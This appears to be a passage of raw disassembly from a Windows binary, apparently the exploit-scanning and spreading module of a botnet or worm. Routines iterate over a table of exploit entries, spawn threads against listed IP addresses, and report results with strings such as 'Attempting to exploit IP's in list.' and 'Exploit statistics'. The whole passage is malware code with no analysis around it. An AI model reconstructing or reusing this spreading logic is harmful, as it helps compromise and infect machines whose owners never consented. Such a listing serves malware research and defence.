ecx lea eax, [ebp-10Ah] push eax push dword ptr [ebp-10Eh] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_413381 push dword ptr [ebp-10Eh] call sub_40538D pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: .text:0041336Cj cmp dword ptr [ebp-112h], 0 jz short loc_4133B1 push dword ptr [ebp-10Eh] call sub_41308F pop ecx cmp [ebp-112h], eax jz short loc_4133B1 push dword ptr [ebp-10Eh] call sub_4053B1 pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: .text:00413388j ; .text:0041339Cj cmp dword ptr [ebp-8Ah], 1 jnz short loc_4133E0 lea eax, [ebp-6] push eax push dword ptr [ebp-10Eh] call sub_404552 pop ecx pop ecx push offset dword_41EF48 lea eax, [ebp-86h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: .text:004133B8j cmp dword ptr [ebp-8Ah], 2 jnz short loc_413420 push 0Ah lea eax, [ebp-6] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp-10Ah] push eax lea eax, [ebp-86h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: .text:004133E7j call sub_412D4C push eax lea eax, [ebp-6] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EF48 lea eax, [ebp-86h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_413444: ; CODE XREF: .text:004133DEj ; .text:0041341Ej lea eax, [ebp-14Ch] push eax call dword ptr [ebp-11Ah] cmp dword ptr [ebp-8Ah], 1 jnz short loc_41346F push dword ptr [ebp-10Eh] push dword ptr [ebp-14Ch] call sub_412A3A pop ecx pop ecx jmp short loc_41348A ; --------------------------------------------------------------------------- loc_41346F: ; CODE XREF: .text:00413458j cmp dword ptr [ebp-8Ah], 2 jnz short loc_41348A lea eax, [ebp-6] push eax lea eax, [ebp-86h] push eax call sub_412BC9 pop ecx pop ecx loc_41348A: ; CODE XREF: .text:0041346Dj ; .text:00413476j push dword ptr [ebp-10Eh] call sub_4053B1 pop ecx xor eax, eax locret_413498: ; CODE XREF: .text:0041337Cj ; .text:004133ACj leave retn 4 ; --------------------------------------------------------------------------- loc_41349C: ; DATA XREF: sub_413AB0+1F4o push ebp mov ebp, esp sub esp, 764h push edi push 2C9h push dword ptr [ebp+8] lea eax, [ebp-628h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-51Ch] push eax call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_4134F5 push 14Ch push 0 lea eax, [ebp-358h] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4135BF ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: .text:004134D8j and dword ptr [ebp-62Ch], 0 jmp short loc_41350B ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: .text:loc_4135BAj mov eax, [ebp-62Ch] inc eax mov [ebp-62Ch], eax loc_41350B: ; CODE XREF: .text:004134FCj mov eax, [ebp-62Ch] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax lea eax, [ebp-640h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp-640h] push eax call sub_4105FB pop ecx lea eax, [ebp-51Ch] push eax lea eax, [ebp-640h] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4135BA mov eax, [ebp-62Ch] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" mov [ebp-358h], eax push 3Ah mov eax, [ebp-62Ch] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax lea eax, [ebp-354h] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp-354h] push eax call sub_4105FB pop ecx lea eax, [ebp-341h] push eax call sub_4105FB pop ecx and dword ptr [ebp-296h], 0 lea eax, [ebp-341h] push eax lea eax, [ebp-51Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4135BF ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: .text:0041354Cj jmp loc_4134FE ; --------------------------------------------------------------------------- loc_4135BF: ; CODE XREF: .text:004134F0j ; .text:004135B8j lea eax, [ebp-624h] push eax call sub_40806A pop ecx test eax, eax jnz short loc_4135E3 push dword ptr [ebp-628h] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_4135E3: ; CODE XREF: .text:004135CEj mov al, byte_41DE30 mov [ebp-20Ch], al push 3Fh pop ecx xor eax, eax lea edi, [ebp-20Bh] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp-108h], al push 3Fh pop ecx xor eax, eax lea edi, [ebp-107h] rep stosd stosw stosb lea eax, [ebp-108h] push eax lea eax, [ebp-624h] push eax lea eax, [ebp-20Ch] push eax call sub_407F3D add esp, 0Ch test eax, eax jnz short loc_41364D push dword ptr [ebp-628h] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_41364D: ; CODE XREF: .text:00413638j push dword ptr [ebp-506h] call sub_404D10 pop ecx mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_413675 push dword ptr [ebp-628h] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_413675: ; CODE XREF: .text:00413660j cmp dword ptr [ebp-358h], 0 jz loc_413782 mov eax, [ebp-358h] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413782 call sub_4042FB mov [ebp-644h], eax cmp dword ptr [ebp-644h], 0 jz short loc_4136B6 mov dword ptr [ebp-296h], 2 jmp short loc_4136C0 ; --------------------------------------------------------------------------- loc_4136B6: ; CODE XREF: .text:004136A8j mov dword ptr [ebp-296h], 3 loc_4136C0: ; CODE XREF: .text:004136B4j movsx eax, byte ptr [ebp-36Bh] test eax, eax jz short loc_4136E5 mov eax, [ebp-358h] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_4136E5 mov dword ptr [ebp-296h], 1 loc_4136E5: ; CODE XREF: .text:004136C9j ; .text:004136D9j movsx eax, byte ptr [ebp-37Bh] test eax, eax jz short loc_4136FA mov dword ptr [ebp-296h], 2 loc_4136FA: ; CODE XREF: .text:004136EEj movsx eax, byte ptr [ebp-37Ah] test eax, eax jz short loc_41370F mov dword ptr [ebp-296h], 3 loc_41370F: ; CODE XREF: .text:00413703j cmp dword ptr [ebp-296h], 3 jnz short loc_41372B cmp dword ptr [ebp-644h], 0 jz short loc_41372B mov dword ptr [ebp-296h], 2 loc_41372B: ; CODE XREF: .text:00413716j ; .text:0041371Fj cmp dword ptr [ebp-296h], 3 jnz short loc_413782 mov al, [ebp-36Ah] mov [ebp-64Ch], al mov al, [ebp-377h] mov [ebp-648h], al mov byte ptr [ebp-36Ah], 1 and byte ptr [ebp-377h], 0 push 0 lea eax, [ebp-502h] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp-64Ch] mov [ebp-36Ah], al mov al, [ebp-648h] mov [ebp-377h], al loc_413782: ; CODE XREF: .text:0041367Cj ; .text:00413690j ... push offset dword_41E2D8 call sub_409C6C pop ecx push dword ptr [ebp-50Eh] lea eax, [ebp-51Ch] push eax lea eax, [ebp-624h] push eax push offset dword_41CE78 mov eax, [ebp-628h] add eax, 14h push eax call sub_416B5E ; sprintf add esp, 14h push offset dword_41E2D8 call sub_409C7A pop ecx push dword ptr [ebp-50Eh] lea eax, [ebp-51Ch] push eax lea eax, [ebp-624h] push eax mov eax, [ebp-628h] push dword ptr [eax] push offset dword_41CE40 lea eax, [ebp-502h] push eax call sub_40D53F add esp, 18h cmp dword ptr [ebp-358h], 0 jnz short loc_413807 push 3E8h call ds:dword_41709C ; Sleep loc_413807: ; CODE XREF: .text:004137FAj and dword ptr [ebp-10Ch], 0 call sub_416B64 ; clock mov [ebp-35Ch], eax and dword ptr [ebp-4], 0 loc_41381D: ; CODE XREF: .text:00413895j ; .text:004138E7j ... mov eax, [ebp-628h] cmp dword ptr [eax+4], 0 jnz short loc_413847 call sub_416B64 ; clock add eax, [ebp-4] sub eax, [ebp-35Ch] mov ecx, [ebp-50Eh] imul ecx, 3E8h cmp eax, ecx jb short loc_41384C loc_413847: ; CODE XREF: .text:00413827j jmp loc_413A43 ; --------------------------------------------------------------------------- loc_41384C: ; CODE XREF: .text:00413845j lea eax, [ebp-108h] push eax lea eax, [ebp-20Ch] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp-108h] push eax lea eax, [ebp-624h] push eax lea eax, [ebp-20Ch] push eax call sub_407F3D add esp, 0Ch push offset dword_41EF48 lea eax, [ebp-20Ch] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_413897 jmp short loc_41381D ; --------------------------------------------------------------------------- loc_413897: ; CODE XREF: .text:00413893j push dword ptr [ebp-8] push 0 lea eax, [ebp-51Ch] push eax lea eax, [ebp-20Ch] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp-650h], eax cmp dword ptr [ebp-650h], 0 jz short loc_4138EC call sub_416B64 ; clock add eax, [ebp-4] sub eax, [ebp-35Ch] mov ecx, [ebp-50Eh] imul ecx, 3E8h cmp eax, ecx jnb short loc_4138EC jmp loc_41381D ; --------------------------------------------------------------------------- loc_4138EC: ; CODE XREF: .text:004138C7j ; .text:004138E5j push dword ptr [ebp-50Ah] call ds:dword_41709C ; Sleep push dword ptr [ebp-8] call sub_404E1C pop ecx test eax, eax jz loc_413A35 loc_413909: ; CODE XREF: .text:00413956j ; .text:loc_413A30j push dword ptr [ebp-8] call sub_404F24 pop ecx mov [ebp-654h], eax cmp dword ptr [ebp-654h], 0 jnz short loc_413926 jmp loc_413A35 ; --------------------------------------------------------------------------- loc_413926: ; CODE XREF: .text:0041391Fj mov eax, [ebp-10Ch] inc eax mov [ebp-10Ch], eax cmp dword ptr [ebp-358h], 0 jz short loc_4139B7 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp-658h], eax cmp dword ptr [ebp-658h], 0 jnz short loc_413958 jmp short loc_413909 ; --------------------------------------------------------------------------- loc_413958: ; CODE XREF: .text:00413954j push 14Ch lea eax, [ebp-358h] push eax push dword ptr [ebp-658h] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-658h] mov ecx, [ebp-654h] mov [eax+3Eh], ecx push dword ptr [ebp-658h] push offset loc_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4139A5 push dword ptr [ebp-658h] call sub_416B4C ; free pop ecx jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139A5: ; CODE XREF: .text:00413995j push dword ptr [ebp-8] push dword ptr [ebp-654h] call sub_404D9B pop ecx pop ecx loc_4139B5: ; CODE XREF: .text:004139A3j jmp short loc_413A30 ; --------------------------------------------------------------------------- loc_4139B7: ; CODE XREF: .text:0041393Aj mov eax, [ebp-628h] cmp dword ptr [eax+4], 0 jz short loc_4139C5 jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_4139C5: ; CODE XREF: .text:004139C1j lea eax, [ebp-75Ch] push eax push dword ptr [ebp-654h] call sub_4044F7 pop ecx pop ecx mov al, [ebp-36Ah] mov [ebp-65Ch], al and byte ptr [ebp-36Ah], 0 lea eax, [ebp-51Ch] push eax lea eax, [ebp-75Ch] push eax push offset dword_41CE2C lea eax, [ebp-502h] push eax call sub_40D53F add esp, 10h mov al, [ebp-65Ch] mov [ebp-36Ah], al push 3E8h call ds:dword_41709C ; Sleep mov eax, [ebp-4] add eax, 3E8h mov [ebp-4], eax loc_413A30: ; CODE XREF: .text:loc_4139B5j jmp loc_413909 ; --------------------------------------------------------------------------- loc_413A35: ; CODE XREF: .text:00413903j ; .text:00413921j ... push dword ptr [ebp-8] call sub_404F7D pop ecx jmp loc_41381D ; --------------------------------------------------------------------------- loc_413A43: ; CODE XREF: .text:loc_413847j push dword ptr [ebp-10Ch] call sub_416B64 ; clock sub eax, [ebp-35Ch] mov [ebp-764h], eax and dword ptr [ebp-760h], 0 fild qword ptr [ebp-764h] fdiv ds:flt_417270 push ecx push ecx fstp qword ptr [esp] lea eax, [ebp-51Ch] push eax lea eax, [ebp-624h] push eax push offset unk_41CDE8 lea eax, [ebp-502h] push eax call sub_40D53F add esp, 1Ch push dword ptr [ebp-8] call sub_404FD0 pop ecx push dword ptr [ebp-628h] call sub_409763 pop ecx xor eax, eax loc_413AAB: ; CODE XREF: .text:004135DEj ; .text:00413648j ... pop edi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h cmp [ebp+arg_4], 0 jz short loc_413AC2 cmp [ebp+arg_8], 0 jnz short loc_413AC7 loc_413AC2: ; CODE XREF: sub_413AB0+Aj jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_413AB0+10j push [ebp+arg_8] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_413AEB push [ebp+arg_8] call sub_40422A pop ecx test eax, eax jnz short loc_413AE9 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AE9: ; CODE XREF: sub_413AB0+32j jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413AEB: ; CODE XREF: sub_413AB0+25j and [ebp+var_14], 0 jmp short loc_413AF8 ; --------------------------------------------------------------------------- loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_413AF8: ; CODE XREF: sub_413AB0+3Fj mov eax, [ebp+var_14] imul eax, 3Ah movsx eax, byte ptr aJeP[eax] ; "†…ØÝ¯" test eax, eax jnz short loc_413B0E jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413AB0+57j mov eax, [ebp+var_14] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx push [ebp+arg_8] lea eax, [ebp+var_28] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_413B43 jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413B43: ; CODE XREF: sub_413AB0+8Fj jmp short loc_413AF1 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j ; sub_413AB0+91j cmp [ebp+arg_C], 0 jz short loc_413B59 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_2C], eax jmp short loc_413B60 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413AB0+99j mov [ebp+var_2C], 15180h loc_413B60: ; CODE XREF: sub_413AB0+A7j mov eax, [ebp+var_2C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413B75 cmp [ebp+var_4], 15180h jbe short loc_413B7C loc_413B75: ; CODE XREF: sub_413AB0+BAj mov [ebp+var_4], 15180h loc_413B7C: ; CODE XREF: sub_413AB0+C3j cmp [ebp+arg_10], 0 jz short loc_413B90 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_30], eax jmp short loc_413B97 ; --------------------------------------------------------------------------- loc_413B90: ; CODE XREF: sub_413AB0+D0j mov [ebp+var_30], 7D0h loc_413B97: ; CODE XREF: sub_413AB0+DEj mov eax, [ebp+var_30] mov [ebp+var_C], eax cmp [ebp+var_C], 32h jb short loc_413BAC cmp [ebp+var_C], 0EA60h jbe short loc_413BB3 loc_413BAC: ; CODE XREF: sub_413AB0+F1j mov [ebp+var_C], 7D0h loc_413BB3: ; CODE XREF: sub_413AB0+FAj cmp [ebp+arg_14], 0 jz short loc_413BC7 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_34], eax jmp short loc_413BCE ; --------------------------------------------------------------------------- loc_413BC7: ; CODE XREF: sub_413AB0+107j mov [ebp+var_34], 100h loc_413BCE: ; CODE XREF: sub_413AB0+115j mov eax, [ebp+var_34] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_413BE3 cmp [ebp+var_10], 200h jbe short loc_413BEA loc_413BE3: ; CODE XREF: sub_413AB0+128j mov [ebp+var_10], 100h loc_413BEA: ; CODE XREF: sub_413AB0+131j push 2C9h call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413C03 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413AB0+14Cj push 108h push [ebp+arg_4] mov eax, [ebp+var_8] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 0Eh push [ebp+arg_8] mov eax, [ebp+var_8] add eax, 10Ch push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+11Ah], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+11Eh], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov [eax+122h], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 126h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_10] push [ebp+var_C] mov eax, [ebp+var_8] push dword ptr [eax+11Ah] mov eax, [ebp+var_8] add eax, 10Ch push eax mov eax, [ebp+var_8] add eax, 4 push eax push offset unk_41CEA4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset loc_41349C call sub_4095A4 add esp, 24h locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j ; sub_413AB0+34j ... leave retn sub_413AB0 endp ; --------------------------------------------------------------------------- loc_413CB3: ; DATA XREF: sub_413FE7+5Co push ebp mov ebp, esp sub esp, 49Ch push 327h push dword ptr [ebp+8] lea eax, [ebp-330h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx mov eax, [ebp-330h] push dword ptr [eax] push offset unk_41CF50 lea eax, [ebp-1ACh] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-334h], 0 and dword ptr [ebp-484h], 0 lea eax, [ebp-4] push eax push offset dword_418F4C lea eax, [ebp-32Ch] push eax call sub_40813C add esp, 0Ch mov [ebp-8], eax loc_413D21: ; CODE XREF: .text:loc_413FA8j mov eax, [ebp-334h] inc eax mov [ebp-334h], eax and dword ptr [ebp-488h], 0 jmp short loc_413D44 ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: .text:00413EEEj ; .text:loc_413F77j mov eax, [ebp-488h] inc eax mov [ebp-488h], eax loc_413D44: ; CODE XREF: .text:00413D35j mov eax, [ebp-488h] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz loc_413F7C push 3Ah mov eax, [ebp-488h] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax lea eax, [ebp-47Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-488h] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" mov [ebp-480h], eax lea eax, [ebp-47Ch] push eax call sub_4105FB pop ecx lea eax, [ebp-469h] push eax call sub_4105FB pop ecx cmp dword ptr [ebp-480h], 0 jz loc_413E9A mov eax, [ebp-480h] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413E9A call sub_4042FB mov [ebp-490h], eax cmp dword ptr [ebp-490h], 0 jz short loc_413DE9 mov dword ptr [ebp-3BEh], 2 jmp short loc_413DF3 ; --------------------------------------------------------------------------- loc_413DE9: ; CODE XREF: .text:00413DDBj mov dword ptr [ebp-3BEh], 3 loc_413DF3: ; CODE XREF: .text:00413DE7j movsx eax, byte ptr [ebp-15h] test eax, eax jz short loc_413E15 mov eax, [ebp-480h] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_413E15 mov dword ptr [ebp-3BEh], 1 loc_413E15: ; CODE XREF: .text:00413DF9j ; .text:00413E09j movsx eax, byte ptr [ebp-25h] test eax, eax jz short loc_413E27 mov dword ptr [ebp-3BEh], 2 loc_413E27: ; CODE XREF: .text:00413E1Bj movsx eax, byte ptr [ebp-24h] test eax, eax jz short loc_413E39 mov dword ptr [ebp-3BEh], 3 loc_413E39: ; CODE XREF: .text:00413E2Dj cmp dword ptr [ebp-3BEh], 3 jnz short loc_413E55 cmp dword ptr [ebp-490h], 0 jz short loc_413E55 mov dword ptr [ebp-3BEh], 2 loc_413E55: ; CODE XREF: .text:00413E40j ; .text:00413E49j cmp dword ptr [ebp-3BEh], 3 jnz short loc_413E9A mov al, [ebp-14h] mov [ebp-498h], al mov al, [ebp-21h] mov [ebp-494h], al mov byte ptr [ebp-14h], 1 and byte ptr [ebp-21h], 0 push 0 lea eax, [ebp-1ACh] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp-498h] mov [ebp-14h], al mov al, [ebp-494h] mov [ebp-21h], al loc_413E9A: ; CODE XREF: .text:00413DAFj ; .text:00413DC3j ... movsx eax, byte ptr [ebp-13h] neg eax sbb eax, eax and eax, 1388h add eax, 1388h push eax push 0 lea eax, [ebp-469h] push eax push dword ptr [ebp-8] call sub_4050EA add esp, 10h mov [ebp-48Ch], eax cmp dword ptr [ebp-48Ch], 0 jz loc_413F77 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp-49Ch], eax cmp dword ptr [ebp-49Ch], 0 jnz short loc_413EF3 jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413EF3: ; CODE XREF: .text:00413EECj push 14Ch lea eax, [ebp-480h] push eax push dword ptr [ebp-49Ch] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-484h] inc eax mov [ebp-484h], eax mov eax, [ebp-49Ch] mov ecx, [ebp-48Ch] mov [eax+3Eh], ecx push dword ptr [ebp-49Ch] push offset loc_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_413F59 push dword ptr [ebp-48Ch] call sub_4053B1 pop ecx push dword ptr [ebp-49Ch] call sub_416B4C ; free pop ecx jmp short loc_413F77 ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: .text:00413F3Dj lea eax, [ebp-47Ch] push eax push dword ptr [ebp-8] push offset dword_41CF20 lea eax, [ebp-1ACh] push eax call sub_40D53F add esp, 10h loc_413F77: ; CODE XREF: .text:00413ECEj ; .text:00413F57j jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: .text:00413D54j lea eax, [ebp-4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_413F9A jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413F9A: ; CODE XREF: .text:00413F96j mov eax, [ebp-330h] cmp dword ptr [eax+4], 0 jz short loc_413FA8 jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413FA8: ; CODE XREF: .text:00413FA4j jmp loc_413D21 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: .text:00413F98j ; .text:00413FA6j push dword ptr [ebp-334h] push dword ptr [ebp-484h] mov eax, [ebp-330h] push dword ptr [eax] push offset dword_41CEDC lea eax, [ebp-1ACh] push eax call sub_40D53F add esp, 14h push dword ptr [ebp-330h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_413FF3 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_413FF3: ; CODE XREF: sub_413FE7+8j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414009 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FE7+1Ej push 180h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push [ebp+var_4] push offset loc_413CB3 call sub_4095A4 add esp, 10h locret_414050: ; CODE XREF: sub_413FE7+Aj ; sub_413FE7+20j leave retn sub_413FE7 endp ; --------------------------------------------------------------------------- loc_414052: ; DATA XREF: sub_41417D+35o push ebp mov ebp, esp sub esp, 3C0h push 1A7h push dword ptr [ebp+8] lea eax, [ebp-3C0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push offset aExploitStatist ; "Exploit statistics - " lea eax, [ebp-200h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and dword ptr [ebp-204h], 0 jmp short loc_4140A4 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: .text:loc_41414Aj mov eax, [ebp-204h] inc eax mov [ebp-204h], eax loc_4140A4: ; CODE XREF: .text:00414095j mov eax, [ebp-204h] imul eax, 3Ah movsx eax, byte ptr aJeP[eax] ; "†…ØÝ¯" test eax, eax jz loc_41414F push 12h mov eax, [ebp-204h] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax lea eax, [ebp-218h] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp-218h] push eax call sub_4105FB pop ecx lea eax, [ebp-218h] push eax lea eax, [ebp-200h] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp-204h] imul eax, 3Ah push dword_41CCFA[eax] push offset dword_41CFA4 lea eax, [ebp-200h] push eax call sub_416B40 ; strlen pop ecx lea eax, [ebp+eax-200h] push eax call sub_416B5E ; sprintf add esp, 0Ch movsx eax, byte ptr [ebp-225h] test eax, eax jz short loc_41414A mov eax, [ebp-204h] imul eax, 3Ah and dword_41CCFA[eax], 0 loc_41414A: ; CODE XREF: .text:00414138j jmp loc_414097 ; --------------------------------------------------------------------------- loc_41414F: ; CODE XREF: .text:004140B6j and byte ptr [ebp-224h], 0 lea eax, [ebp-200h] push eax lea eax, [ebp-3BCh] push eax call sub_40D53F pop ecx pop ecx push dword ptr [ebp-3C0h] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414197 jmp short locret_4141BF ; --------------------------------------------------------------------------- loc_414197: ; CODE XREF: sub_41417D+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push [ebp+var_4] push offset loc_414052 call sub_4095A4 add esp, 10h locret_4141BF: ; CODE XREF: sub_41417D+18j leave retn sub_41417D endp ; --------------------------------------------------------------------------- loc_4141C1: ; DATA XREF: sub_4142BF+E2o push ebp mov ebp, esp sub esp, 2BCh push 2B1h push dword ptr [ebp+8] lea eax, [ebp-2BCh] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx call sub_416B64 ; clock mov [ebp-4], eax push dword ptr [ebp-1B2h] push 0 lea eax, [ebp-1B8h] push eax lea eax, [ebp-2B8h] push eax call sub_4050EA add esp, 10h mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz short loc_41424F push dword ptr [ebp-8] call sub_4053B1 pop ecx call sub_416B64 ; clock sub eax, [ebp-4] push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-2B8h] push eax push offset dword_41D050 lea eax, [ebp-1AEh] push eax call sub_40D53F add esp, 14h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41424F: ; CODE XREF: .text:00414217j movsx eax, byte ptr [ebp-16h] test eax, eax jnz short loc_4142AD call sub_416B64 ; clock sub eax, [ebp-4] cmp eax, [ebp-1B2h] jb short loc_41428B lea eax, [ebp-1B8h] push eax lea eax, [ebp-2B8h] push eax push offset dword_41D018 lea eax, [ebp-1AEh] push eax call sub_40D53F add esp, 10h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: .text:00414265j lea eax, [ebp-1B8h] push eax lea eax, [ebp-2B8h] push eax push offset dword_41CFE8 lea eax, [ebp-1AEh] push eax call sub_40D53F add esp, 10h loc_4142AD: ; CODE XREF: .text:0041424Dj ; .text:00414255j ... push dword ptr [ebp-2BCh] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword 